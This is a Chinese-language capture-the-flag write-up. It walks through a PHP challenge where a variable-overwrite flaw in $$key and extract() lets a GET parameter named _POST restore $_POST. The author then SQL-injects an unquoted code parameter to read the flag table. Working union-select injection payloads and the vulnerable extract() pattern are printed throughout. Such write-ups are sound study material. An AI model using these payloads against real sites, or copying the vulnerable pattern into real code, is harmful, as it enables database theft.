先查看code.php中这一段的源码(注释是我自己写的),可以测试提交$file_code中数组的值。
测试结果如下图
猜测flag可能会通过提交正确的提取码显示在这个位置。
然后看index.php页面查看源码,发现许多函数不认识,查了相关资料说是变量覆盖。可查看文章https://www.cnblogs.com/test404/p/9779235.html
还是没能完全理解,我自己写的一个类似的代码在本地测试。
由于array中的内容是_GET和_POST,所以先尝试用GET提交。
<?php
foreach(array('_GET','_POST','_COOKIE') as $key){
print_r($$key);
echo "<br>";
foreach($$key as $key_2 => $value_2) {
print_r($$key_2);
echo "<br>";
print_r($value_2);
echo "<br>";
var_dump($$key_2==$value_2);echo "<br>";
#var_dump() 函数用于输出变量的相关信息
}
}
?>
如下图,出现bool(false),
看显示位置属于这条代码
foreach($$key as $key_2 => $value_2) {
print_r($$key_2);
如果是以_GET传入的话,最终得到的结果是false,试试以_POST传入
发现结果为true。所以post提交可行。
然后看下面一段代码
if($$key) {
foreach($$key as $key_2 => $value_2) {
if(isset($$key_2) and $$key_2 == $value_2)
unset($$key_2);
}
这一段表示如果变量key_2(即上文数组中第二个值post)的值已经被设置并且等于value_2的值,则删除变量key_2。
if(isset($_POST['code'])) $_POST['code'] = $pan->filter($_POST['code']);
这一句表示如果POST变量被设置然后将POST的值传入filter函数并执行,但是上一句删除了POST变量,所以这一句执行不了。这就是变量覆盖。
所以为了能够提交POST,我们必须使得它能恢复执行。
下面两句源码就可做到。
if($_GET) extract($_GET, EXTR_SKIP);
if($_POST) extract($_POST, EXTR_SKIP);
extract该函数使用数组键名作为变量名,使用数组键值作为变量值。
extract(_POST, EXTR_SKIP)数组中的键名_POST直接注册为变量,否则跳过。
所以这里执行之后$_POST变量就又回来了。
执行extract()之前,可搜索进入_GET数组的键名内容是_POST,_POST数组则不存在,_GET数组的键名内容是_POST,所以也就是导入了名为_POST的变量,也就是_POST变量,所以$_POST成功被还原。
然后在code.php文件中发现sql语句,要绕过单引号,然后进行SQL注入得到flag。
$sql = "select * from file where code='$code'";
所以利用联合查询语句进行测试。
首先利用万能密码测试发现成功绕过。
然后开始爆出字段
?_POST[code]=114514' order by 3%23
DATA:
code=114514' order by 3%23
测试到4时报错,所以有2个字段
爆回显位置
?_POST[code]=114514' and 0=1 union select 1,database()%23
DATA:
code=114514' and 0=1 union select 1,database()%23
所以回显位是2
所以数据库是supersqli
爆表名
爆字段
爆值
直接查flag表flag字段
?_POST[code]=114514' and 0=1 union select 1,2,flag from flag%23
DATA:
code=114514' and 0=1 union select 1,2,flag from flag%23